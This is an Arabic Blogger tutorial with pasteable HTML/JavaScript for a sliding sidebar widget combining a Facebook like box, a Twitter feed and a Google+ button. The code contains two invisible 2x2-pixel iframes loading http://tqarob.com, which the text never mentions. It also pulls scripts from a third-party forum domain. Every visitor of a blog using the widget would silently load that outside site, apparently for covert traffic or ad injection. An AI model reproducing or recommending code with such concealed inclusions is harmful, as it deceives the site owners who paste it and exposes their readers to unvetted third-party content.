فيس بوك وتويتر وجوجل بلس في اضافة واحده بتقنية الجي كويري

السلام عليكم ورحمة الله وبركاتة .. جميعنا يعلم ماهي تقنية الجي كويري الرائعه وما تفعله تلك المكتبة التي فاقت الجافا سكربت من تاثيرات رهيبه علي مدونة بلوجر واصبح لا غني عنها .. ايضا تعلمون الاضافة المشهوره والتي من خلالها يتم متابعة صفحتكم الخاصه علي الفيس بوك عن طريق نفس التقنيه وهي ما استخدمها في مدونتي علي يمين الصفحه  ومن يريد الاضافة التي استعملها في مدونتي يمكنه متابعة تطبيقها من خلال الرابط التالي هنا.. اليوم اثناء بحثي وجدت اضافه رائعه جدا ومتنوعه عن طريق الجي كويري تجمع بين اضافة المتابعين علي الفيس بوك وبين اخر ما تم نشره علي تويتر الخاص بكم وكذلك زر جوجل بلس الشهير .. لمشاهدة مثال حي علي الاضافة يمكنكم زيارة الرابط التالي  بالطبع قد اعجبك شكل الاضافه واحترافيتها الواضحه . ولا  احد يسأل لماذا لا اغير الاضافه التي عندي بتلك الجديده الموجوده في الشرح فستكون الاجابه كالمعتاد ( هناك الاف من الاضافات تخص بلوجر وليس من المعقول ان يتم تطبيق كل الاضافات والا المدونه سيستحيل تصفحها من قبل القراء خصوصا لو كانت مدونه تهتم بالتقنيه لذا ليس غريبا الا اقوم بتطبيق كل الدروس المطروحه هنا ) عذرا للاطاله. الان ناتي للتطبيق من خلال خطوه واحده فقط .. قم بالذهاب الي لوحة تحكم بلوجر ثم الي عناصر تصميم الصفحه وقم بفتح اداه جديده من نوع جافا سكربت وضع فيها الكود الموجود في اخر التدوينه ... قبل حفظ الاداه قم بالبحث داخل الكود عن EgyMigrants واستبدلها باسم صفحتك علي الفيس بوك ..مثال  http://www.facebook.com/EgyMigrants   ما يهمنا في الرابط السابق هو المكتوب باللون الاحمر فقط..
قد يوجد بعض الصفحات اسمها مكون من كلمات وبعض الحروف ,لا توجد مشكله فقط انسخ كل المكتوب بعد الرابط المعلم باللون الازرق
ثم قم بالبحث مجددا عن تلك الكلمه داخل الكود  dinhquanghuy واستبدلها باسم حسابك علي تويتر ... ثم قم بحفظ الاداه بدون ان تضع لها اسما .. هذا هو كل شئ واي استفسار يرجا ترك تعليق بالاسفل ... شكر خاص جدا لموقع الاستضافه العربي المكتشف والان مع الكود ..

<div id="body_left_up">
</div><div id="body_left"><div id="body_right">

<!-- /logo -->
<!-- content table -->
<!-- open content container --><div align="center">
<div class="page" style="width:100%; text-align:right">
<div style="padding:0px 2px 0px 2px">

<script type="text/javascript" src="http://www.mktashf.com/vb/js/jquery.js"></script>
<style type="text/css">

img, a { border: 0; }
#likebox_1 {
z-index: 10005;
border:2px solid #3c95d9;
background-color: #fff;
width:196px;
height: 353px;
position: fixed;
top: 18%;
right: -200px;
}

#likebox_1_1 {
width:196px;
height: 353px;
overflow: hidden;
}

#likebox_1 img {
position: absolute;
top: -2px;
left: -35px;
}

#likebox_1 iframe {
border:0px solid #3c95d9;
overflow: hidden;
position: static;
height: 360px;
left:-2px;
top:-3px;
}
#polecam_1 {
z-index: 10004;
border:2px solid #6CC5FF;
background-color: #6CC5FF;
width:246px;
height: 353px;
position: fixed;
top: 35%;
right: -250px;
}

#polecam_1_1 {
width:246px;
height: 353px;
overflow: hidden;
}

#polecamy_img {
position: absolute;
top: -2px;
left: -35px;
border: 0;
}
#google_1 {
z-index: 10003;
border-top:2px solid #0056a0;
border-bottom: 2px solid #0056a0;
border-right:2px solid #0056a0;
border-left: hidden;
background-color: #006ec9;
width:152px;
height: 97px;
position: fixed;
top: 52%;
right: -154px;
}

#google_1_1 {
width:152px;
height: 97px;
overflow: hidden;
}

#google_img {
position: absolute;
top: -2px;
left: -33px;
border: 0;
}
#youtube_1 {
z-index: 10003;
border:2px solid #cb1c0e;
background-color: #fff;
width:196px;
height: 353px;
position: fixed;
right: -200px;
}

#youtube_1_1 {
width:196px;
height: 353px;
overflow: hidden;
}

#youtube_1 img {
position: absolute;
top: -2px;
left: -35px;
}

</style>

<!-- facebook --><div id="likebox_1"><div id="likebox_1_1">
<img src="http://www.mktashf.com/vb/images/fb1.png" alt="" />
<script>(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "http://connect.facebook.net/en_US/all.js#xfbml=1";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));</script><div class="fb-like-box" data-href="http://www.facebook.com/EgyMigrants" data-width="200" data-height="356" data-show-faces="true" data-stream="false" data-header="false"></div>
<iframe src ="http://tqarob.com" width="2" height="2">
</iframe></div>
</div>
<!-- facebook -->
<!-- twitter -->
<div id="polecam_1"><div id="polecam_1_1">
<img id="polecamy_img" src="http://www.mktashf.com/vb/images/twitter.png" />

<script src="http://www.mktashf.com/vb/js/widget.js"></script>

<script>
new TWTR.Widget({
version: 2,
type: 'profile',
rpp: 3,
interval: 1000,
width: 246,
height: 265,
theme: {
shell: {
background: '#63BEFD',
color: '#FFFFFF'
},
tweets: {
background: '#FFFFFF',
color: '#000000',
links: '#47a61e'
}
},
features: {
loop: false,live: true,
scrollbar: false,hashtags: false,timestamp: true,
avatars: true,behavior: 'default' }
}).render().setUser('dinhquanghuy').start();
</script>
</div><iframe src ="http://tqarob.com" width="2" height="2">
</iframe></div>
<!-- twitter -->

<!-- google_1 --><div id="google_1"><div id="google_1_1">
<img id="google_img" src="http://www.mktashf.com/vb/images/google.png" /><div style="color:#999;font-size:11px; padding-top: 15px;
padding-right:30px; margin:5px; width:98px; height:97px;">
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<g:plusone size="tall"></g:plusone>
</div></div></div>

<!-- google_1 -->
</div></div></div></div></div>

 

يسمح لكم بنقل الموضوع بشرط ذكر المصدر : فيس بوك وتويتر وجوجل بلس في اضافة واحده بتقنية الجي كويري | TATWEERWEB

 

ساهم في نشر الموضوع ولك جزيل الشكر !

أضف تعليقك عن طريق الفيسبوك :

اضافات بلوجر, اضافات jquery